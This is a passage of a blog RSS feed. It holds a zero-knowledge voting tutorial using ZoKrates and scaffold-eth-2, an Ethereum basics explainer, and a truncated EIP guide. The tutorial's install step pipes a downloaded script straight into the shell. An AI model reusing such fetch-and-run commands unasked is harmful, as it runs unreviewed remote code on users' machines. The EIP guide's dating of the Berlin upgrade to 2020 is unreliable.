 Later, they’ll prove (without revealing their vote or nonce) that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The vote was valid (1 or 2), and&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It matches a previously published commitment.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We’ll generate the proof entirely in JavaScript and verify it on-chain — all using a local setup with &lt;strong&gt;scaffold-eth-2&lt;/strong&gt;, a powerful framework for building Ethereum dApps.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;⚠️ This is a minimal example to help you understand the flow. It’s not a full voting system — just a small step into the zk world.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id=&quot;-step-0-install-zokrates&quot;&gt;️ Step 0: Install ZoKrates&lt;/h3&gt;
&lt;p&gt;On Linux/macOS, install with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -LSfs get.zokrat.es | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;&lt;p&gt;⚠️ On &lt;strong&gt;Windows&lt;/strong&gt;, make sure to install and run inside &lt;strong&gt;WSL&lt;/strong&gt; (Windows Subsystem for Linux), or you’ll face compatibility issues.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Check it's working:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;zokrates --help
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;-step-1-bootstrap-your-dapp&quot;&gt;⚙️ Step 1: Bootstrap Your dApp&lt;/h3&gt;
&lt;p&gt;Use &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/scaffold-eth/scaffold-eth-2&quot;&gt;scaffold-eth-2&lt;/a&gt; — the fastest way to start building full-stack dApps.&lt;/p&gt;
&lt;p&gt;Initialize the project:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx create-eth@latest # we are using foundry, but hardhat works too
cd my-zk-vote  # open the project's directory
yarn           # install all dependencies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add ZK dependencies on NextJS package:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;cd packages\nextjs # go to nextjs directory
yarn add circomlibjs zokrates-js # add zk frontend dependencies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Start development servers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;cd ..\..       # go back to the root directory
yarn chain     # start local blockchain
yarn deploy    # deploy contracts
yarn start     # launch frontend
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-2-write-the-circuit&quot;&gt;Step 2: Write the Circuit&lt;/h3&gt;
&lt;p&gt;You can see the circuit as a way to validate secret information. Each information marked as &lt;code&gt;private&lt;/code&gt; will remain secret and can be validated against other public arguments. &lt;/p&gt;
&lt;p&gt;Create a file at &lt;code&gt;packages/foundry/contracts/vote.zok&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zokrates&quot;&gt;import &quot;hashes/poseidon/poseidon.zok&quot;;

def main(private field vote, private field nonce, field commitment) -&amp;gt; bool {
    assert(vote == 1 || vote == 2);
    field hash = poseidon([vote, nonce]);
    assert(hash == commitment);
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;what-this-does-&quot;&gt;What this does:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Enforces that the vote must be &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;2&lt;/code&gt; — a simple rule for this example.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hashes the vote and a secret nonce using &lt;strong&gt;Poseidon&lt;/strong&gt;, then checks that it matches the provided commitment — proving the commitment corresponds to a valid vote.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;Why Poseidon? It’s a hash function designed for zero-knowledge circuits — much faster and cheaper to verify in zk-SNARKs than SHA256 or Keccak.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-3-generate-the-commitment-in-javascript&quot;&gt;Step 3: Generate the Commitment in JavaScript&lt;/h3&gt;
&lt;p&gt;Create a helper file at &lt;code&gt;packages/nextjs/utils/zkVote.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { buildPoseidon } from &quot;circomlibjs&quot;;

export async function generateCommitment(vote: number, nonce: bigint): Promise&amp;lt;string&amp;gt; {
  const poseidon = await buildPoseidon();
  const commitment = poseidon([BigInt(vote), nonce]);
  return poseidon.F.toString(commitment);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; You can now copy &lt;code&gt;vote&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt;, and &lt;code&gt;commitment&lt;/code&gt; into the &lt;a rel=&quot;nofollow&quot; href=&quot;https://play.zokrat.es/&quot;&gt;ZoKrates Playground&lt;/a&gt; to test your circuit manually.&lt;/p&gt;
&lt;p&gt; Tip: You can use the commands below to quickly generate a commitment to test on the playground:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;cd packages/nextjs
npx --package typescript tsc utils/zkVote.ts --target es2020 --module commonjs --outDir dist --esModuleInterop
node -e &quot;require('./dist/zkVote.js').generateCommitment(2, 123456789n).then(console.log);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-4-compile-the-circuit&quot;&gt;Step 4: Compile the Circuit&lt;/h3&gt;
&lt;p&gt;Run this from your project root:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd packages/foundry/contracts
zokrates compile -i vote.zok
zokrates setup
zokrates export-verifier
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This will produce a &lt;code&gt;verifier.sol&lt;/code&gt; file you can use on-chain.&lt;/li&gt;
&lt;li&gt;Move &lt;code&gt;proving.key&lt;/code&gt; and &lt;code&gt;verification.key&lt;/code&gt; to &lt;code&gt;packages/nextjs/public&lt;/code&gt; so it's available in the frontend, don't worry, these keys are not private.&lt;/li&gt;
&lt;li&gt;You can delete &lt;code&gt;abi.json&lt;/code&gt;, &lt;code&gt;out&lt;/code&gt; and &lt;code&gt;out.r1cs&lt;/code&gt; files, if you want.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-5-add-the-verifier-to-your-app&quot;&gt;Step 5: Add the Verifier to Your App&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Create `packages/foundry/script/DeployVerifier.s.sol:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-sol&quot;&gt;pragma solidity ^0.8.19;

import &quot;./DeployHelpers.s.sol&quot;;
import &quot;../contracts/verifier.sol&quot;;

contract DeployVerifier is ScaffoldETHDeploy {
    function run() external ScaffoldEthDeployerRunner {
        new Verifier();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Edit `packages/foundry/script/Deploy.s.sol:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-sol&quot;&gt;pragma solidity ^0.8.19;

import &quot;./DeployHelpers.s.sol&quot;;
import { DeployYourContract } from &quot;./DeployYourContract.s.sol&quot;;
import { DeployVerifier } from &quot;./DeployVerifier.s.sol&quot;;

contract DeployScript is ScaffoldETHDeploy {
    function run() external {
        DeployYourContract deployYourContract = new DeployYourContract();
        deployYourContract.run();

        DeployVerifier deployVerifier = new DeployVerifier();
        deployVerifier.run();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Then redeploy everything:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;yarn deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-6-generate-the-proof-in-the-frontend&quot;&gt;Step 6: Generate the Proof in the Frontend&lt;/h3&gt;
&lt;p&gt;Continue in &lt;code&gt;packages/nextjs/utils/zkVote.ts&lt;/code&gt; and add the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { initialize } from &quot;zokrates-js&quot;;

let cachedKeypair: any = null;

async function loadKeypair() {
  if (!cachedKeypair) {
    const provingKeyResponse = await fetch(&quot;/proving.key&quot;);
    const provingKeyBuffer = await provingKeyResponse.arrayBuffer();

    const verificationKeyResponse = await fetch(&quot;/verification.key&quot;);
    const verificationKeyBuffer = await verificationKeyResponse.arrayBuffer();

    const provingKeyUint8 = new Uint8Array(provingKeyBuffer);
    const verificationKeyUint8 = new Uint8Array(verificationKeyBuffer);

    cachedKeypair = {
      pk: provingKeyUint8,
      vk: verificationKeyUint8,
    };
  }
  return cachedKeypair;
}

export type Proof = {
  proof: {
    a: { X: bigint; Y: bigint };
    b: { X: readonly [bigint, bigint]; Y: readonly [bigint, bigint] };
    c: { X: bigint; Y: bigint };
  };
  inputs: readonly [bigint, bigint];
};

function formatProof(rawProof: any): Proof {
  const { a, b, c } = rawProof.proof;

  const toBigTuple = (arr: string[]) =&amp;gt; [BigInt(arr[0]), BigInt(arr[1])] as const;

  return {
    proof: {
      a: { X: BigInt(a[0]), Y: BigInt(a[1]) },
      b: { X: toBigTuple(b[0]), Y: toBigTuple(b[1]) },
      c: { X: BigInt(c[0]), Y: BigInt(c[1]) },
    },
    inputs: toBigTuple(rawProof.inputs),
  };
}

export async function proveVote(vote: number, nonce: bigint, commitment: string): Promise&amp;lt;Proof&amp;gt; {
  const zokrates = await initialize();
  const artifacts = zokrates.compile(`
  import &quot;hashes/poseidon/poseidon.zok&quot;;

  def main(private field vote, private field nonce, field commitment) -&amp;gt; bool {
      assert(vote == 1 || vote == 2);
      field hash = poseidon([vote, nonce]);
      assert(hash == commitment);
      return true;
  }
      `);
  const keypair = await loadKeypair();

  const { witness } = zokrates.computeWitness(artifacts, [vote.toString(), nonce.toString(), commitment]);
  const rawProof = zokrates.generateProof(artifacts.program, witness, keypair.pk);
  return formatProof(rawProof);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The important method here is &lt;code&gt;proveVote&lt;/code&gt;, it will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;initialize zokrates&lt;/li&gt;
&lt;li&gt;compile the circuit&lt;/li&gt;
&lt;li&gt;load the keypairs&lt;/li&gt;
&lt;li&gt;compute witness using the arguments of the method&lt;/li&gt;
&lt;li&gt;generate the proof with the compiled circuit, the witness and the proving key.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-7-verify-the-proof-on-chain&quot;&gt;Step 7: Verify the Proof On-Chain&lt;/h3&gt;
&lt;p&gt;Call your Verifier contract from the frontend on a Nextjs page:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;&quot;use client&quot;;

import { useRef, useState } from &quot;react&quot;;
import type { NextPage } from &quot;next&quot;;
import { toast } from &quot;react-hot-toast&quot;;
import { useScaffoldReadContract } from &quot;~~/hooks/scaffold-eth&quot;;
import { Proof, generateCommitment, proveVote } from &quot;~~/utils/zkVote&quot;;

const Home: NextPage = () =&amp;gt; {
  // generate a random nonce
  const nonceRef = useRef&amp;lt;bigint&amp;gt;(BigInt(Date.now() + Math.floor(Math.random() * 1000)));

  // state for the vote, the commitment, the proof, and the loading state
  const [vote, setVote] = useState&amp;lt;string&amp;gt;(&quot;&quot;);
  const [commitment, setCommitment] = useState&amp;lt;string&amp;gt;();
  const [proof, setProof] = useState&amp;lt;Proof | null&amp;gt;(null);
  const [isLoading, setIsLoading] = useState(false);

  // verify the proof onchain once you have the proof
  const { data: isVerified } = useScaffoldReadContract({
    contractName: &quot;Verifier&quot;,
    functionName: &quot;verifyTx&quot;,
    args: [proof?.proof, proof?.inputs],
    query: {
      enabled: !!proof,
    },
  });

  // generate the commitment when the user clicks the button
  const handleVote = async () =&amp;gt; {
    if (!vote) return;

    setIsLoading(true);
    try {
      const voteNumber = Number(vote);
      const newCommitment = await generateCommitment(voteNumber, nonceRef.current);
      setCommitment(newCommitment);
    } catch (error) {
      toast.error(&quot;Error generating commitment: &quot; + (error as Error).message);
    } finally {
      setIsLoading(false);
    }
  };

  // prove the vote when the user clicks the button
  const handleProve = async () =&amp;gt; {
    if (!vote || !commitment) return;

    setIsLoading(true);

    try {
      const voteNumber = Number(vote);
      const newProof = await proveVote(voteNumber, nonceRef.current, commitment);
      setProof(newProof);
    } catch {
      toast.error(&quot;Impossible to prove&quot;);
      setProof(null);
    } finally {
      setIsLoading(false);
    }
  };
  
  // render your page...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can check the whole code of the page component in the &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/melanke/zk-voting-sample/blob/main/packages/nextjs/app/page.tsx&quot;&gt;repository Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To test your ZK dApp locally, just open &lt;a rel=&quot;nofollow&quot; href=&quot;http://localhost:3000&quot;&gt;http://localhost:3000&lt;/a&gt; in your browser.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;In this example, we called the &lt;code&gt;Verifier&lt;/code&gt; contract directly from the frontend. That’s useful for learning — but in a real-world application, it’s not the pattern you’d use.&lt;/p&gt;
&lt;p&gt;Instead, your main contract (e.g. a voting contract, identity manager, or game logic) would receive the proof and &lt;strong&gt;internally call the Verifier contract&lt;/strong&gt; to validate it before proceeding with any logic.&lt;/p&gt;
&lt;p&gt;This architecture gives you control and flexibility:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;function submitVote(
  uint[2] calldata a,
  uint[2][2] calldata b,
  uint[2] calldata c,
  uint[] calldata input
) external {
  require(verifier.verifyTx(a, b, c, input), &quot;Invalid proof&quot;);
  // continue with vote counting, recording, etc
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4 id=&quot;what-you-could-build-with-this&quot;&gt;What You Could Build with This&lt;/h4&gt;
&lt;p&gt;This approach opens doors to powerful applications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anonymous voting&lt;/strong&gt;: prove your vote was valid without revealing it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Private whitelists&lt;/strong&gt;: prove membership in a group (via Merkle root) without showing which one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Private randomness&lt;/strong&gt;: commit to a number, later prove its properties (e.g., in a fair lottery)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Game actions&lt;/strong&gt;: prove you played by the rules without revealing your strategy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credential systems&lt;/strong&gt;: prove you hold a credential without disclosing your identity&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Zero-knowledge isn’t just privacy — it’s about &lt;strong&gt;integrity without exposure&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you're exploring zero-knowledge or building real-world dApps, feel free to connect — I'd love to exchange ideas.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Written by Gil, a fullstack developer with 15+ years of experience, passionate about practical architecture, clean UX, and blockchain-powered applications.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/4349/a-clear-and-working-example-of-zero-knowledge-proofs-in-a-real-web3-application</guid>
<pubDate>Wed, 30 Jul 2025 11:25:49 +0000</pubDate>
</item>
<item>
<title> Understanding Ethereum: EVM, Blocks, Gas, Accounts &amp; Transactions Explained</title>
<link>https://coderlegion.com/4098/understanding-ethereum-evm-blocks-gas-accounts-transactions-explained</link>
<description>&lt;p&gt;Ethereum is more than just transfers of ETH — it’s a decentralized global computer powered by nodes and fueled by gas. Let’s break down its core components to help you grasp why it works the way it does.&lt;/p&gt;
&lt;h3 id=&quot;1-the-ethereum-virtual-machine-evm-&quot;&gt;1. The Ethereum Virtual Machine (EVM)&lt;/h3&gt;
&lt;p&gt;What it is: The EVM is the runtime engine powering Ethereum, a virtual CPU that runs smart contracts and processes transactions.&lt;/p&gt;
&lt;p&gt;Why it matters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;It ensures every node executes code deterministically, so all states stay in sync.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It supports a defined set of opcodes (like ADD, JUMP, SLOAD), with each costing gas based on the amount of computation required .&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt;&lt;br&gt;
Think of Ethereum as a massive online code playground, and the EVM as the consistent engine that runs your code—even on someone else’s computer. Every time you press &quot;execute,&quot; it runs exactly the same way.&lt;/p&gt;
&lt;h3 id=&quot;-2-blocks-ethereum-s-time-capsules&quot;&gt;⛓️ 2. Blocks: Ethereum’s Time Capsules&lt;/h3&gt;
&lt;p&gt;What it is: Ethereum groups transactions into blocks, each containing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Block number, timestamp&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Gas limit (cap for total gas used) &amp;amp; gas used&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Transaction list, Merkle roots, parent hash, and proposer’s signature.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Blocks batch transactions to maintain consensus across nodes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Each block advances the state, forming a permanent ledger of changes.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt; Blocks are like train cars, each carrying multiple passenger transactions and connected to the previous one to form a train—a never-ending ride.&lt;/p&gt;
&lt;h3 id=&quot;-3-gas-ethereum-s-fuel-meter&quot;&gt;⛽ 3. Gas: Ethereum’s Fuel Meter&lt;/h3&gt;
&lt;p&gt;What it is: Gas measures how much computation you're using. Every EVM opcode requires a specific gas amount .&lt;br&gt;
Why we pay gas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;It prevents spam and infinite loops.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It pays validators for computation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It ensures execution stays deterministic and bounded.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Gas Units vs. Gwei:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Gas units = computational steps&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Gwei = 10⁻⁹ ETH, used to price each gas unit.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt; Example with Analogy:&lt;/strong&gt;&lt;br&gt;
Imagine riding a motorbike:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Distance = gas units&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fuel price per km = base fee + priority tip&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You load your bike with just enough fuel (gas limit) and tip for priority service (priority fee).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;4-accounts-eoas-vs-contract-accounts&quot;&gt;4. Accounts: EOAs vs. Contract Accounts&lt;/h3&gt;
&lt;p&gt;Ethereum has two account types&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. EOA (Externally Owned Account)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Controlled by a private key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can initiate transactions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;No code, just ETH balance&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Contract Account&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Live code at an address&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can store data, and run logic when triggered&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cannot initiate transactions—EOAs must call them&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt;&lt;br&gt;
EOAs are like people with wallets, while contract accounts are like vending machines: they respond to your actions, they can hold funds, but they don’t make moves on their own.&lt;/p&gt;
&lt;h3 id=&quot;5-transactions-state-changing-actions&quot;&gt;5. Transactions: State-Changing Actions&lt;/h3&gt;
&lt;p&gt;What they are: The only way to change Ethereum’s state (send ETH, create contracts, interact with smart contracts).&lt;/p&gt;
&lt;p&gt;Transaction content includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;from, to, value, nonce&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;gasLimit, maxFeePerGas, maxPriorityFeePerGas&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;data (optional), signature components&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Stages of a transaction:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Signed by your private key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Broadcast to mempool&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Picked by a validator&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Executed, state updated, included in a block&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Block finalized—permanent record&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt;&lt;br&gt;
Think of it like ordering at a busy coffee shop:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You put in your order (transaction)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It goes on the queue (mempool)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A barista (validator) makes it (executes)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You wait until they confirm your order is done (block inclusion)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You finally drink it when it’s served (finalization)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;recap-table&quot;&gt;Recap Table&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Component       &lt;/th&gt;&lt;th&gt;What It Does                              &lt;/th&gt;&lt;th&gt;Why It Matters&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EVM&lt;/strong&gt;         &lt;/td&gt;&lt;td&gt;Runs smart contract bytecode              &lt;/td&gt;&lt;td&gt;Ensures consistent behavior across all nodes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Blocks&lt;/strong&gt;      &lt;/td&gt;&lt;td&gt;Batch transactions into permanent records &lt;/td&gt;&lt;td&gt;Maintain global state and ledger&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Gas&lt;/strong&gt;         &lt;/td&gt;&lt;td&gt;Measures computation, controls use        &lt;/td&gt;&lt;td&gt;Prevents abuse, rewards validators&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EOA&lt;/strong&gt;         &lt;/td&gt;&lt;td&gt;User-controlled account with balance      &lt;/td&gt;&lt;td&gt;Initiate transactions&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Contract&lt;/strong&gt;    &lt;/td&gt;&lt;td&gt;Code and state living on-chain            &lt;/td&gt;&lt;td&gt;Enables programmable logic&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Transaction&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;Signed messages changing state            &lt;/td&gt;&lt;td&gt;The only way to interact with Ethereum&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;why-this-matters&quot;&gt;Why This Matters&lt;/h3&gt;
&lt;p&gt;By understanding these pillars:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You’ll optimize gas usage&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Avoid common errors like low gas limits&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build or interact with contracts more confidently&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Understand transaction lifecycles and how fees work&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/4098/understanding-ethereum-evm-blocks-gas-accounts-transactions-explained</guid>
<pubDate>Thu, 17 Jul 2025 19:22:29 +0000</pubDate>
</item>
<item>
<title>What the Heck Are EIPs and ERCs? A Beginner’s Guide to 4 Ethereum Upgrades You’ve Never Heard Of</title>
<link>https://coderlegion.com/4097/what-the-heck-are-eips-and-ercs-a-beginners-guide-to-ethereum-upgrades-youve-never-heard-of</link>
<description>&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;They might not trend on Crypto Twitter—but without them, Ethereum wouldn't run this smooth. - Allan Robinson&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;what-are-eips-and-ercs-&quot;&gt;What Are EIPs and ERCs?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;EIPs (Ethereum Improvement Proposals)&lt;/strong&gt; are Ethereum’s official feature requests or improvements, typically targeting protocol-level changes (e.g., transaction formats, gas fees).&lt;br&gt;
&lt;strong&gt;ERCs (Ethereum Request for Comments)&lt;/strong&gt; are a subset of EIPs focused on smart contract standards, used to ensure compatible interfaces across dApps.&lt;/p&gt;
&lt;p&gt;They emerged as community-driven blueprints to evolve Ethereum in a consistent, transparent, and coordinate-driven way.&lt;/p&gt;
&lt;h3 id=&quot;history-amp-impact&quot;&gt;History &amp;amp; Impact&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The EIP process began with EIP-1 in 2015 to formalize how Ethereum should evolve.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Early successful proposals like EIP-20 (ERC-20) established core patterns for the ecosystem.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Over time, new needs arose: better transaction gas efficiency, clearer contract interoperability, and fairer developer incentives.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Thanks to EIPs and ERCs, Ethereum continues to grow backward-compatible while integrating new features without breaking older systems.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-deep-dive-into-4-selected-standards&quot;&gt;️ Deep Dive into 4 Selected Standards&lt;/h3&gt;
&lt;h4 id=&quot;1-eip-2930-access-lists-core-transaction-format-&quot;&gt;1. EIP‑2930: Access Lists (Core / Transaction Format)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt; Overview&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Introduced in Berlin (2020) as part of a suite addressing storage cost spikes (alongside EIP-2929)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lets you pre-declare which contract addresses/storage slots your tx will access.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Those slots are “pre-warmed” at lower cost, avoiding high “cold” access charges.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-benefits&quot;&gt;✅ Benefits&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Saves ~200 gas per storage access&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reduces volatility and DoS attack risk from expensive cold storage.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-drawbacks&quot;&gt;❌ Drawbacks&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Requires users/devs to predict exactly which slots will be used—mistakes can cost more gas than savings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Adoption has been low: just ~1.5% of txs use it despite 42% potential benefit&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-analogy&quot;&gt;⚙️ Analogy&lt;/h5&gt;
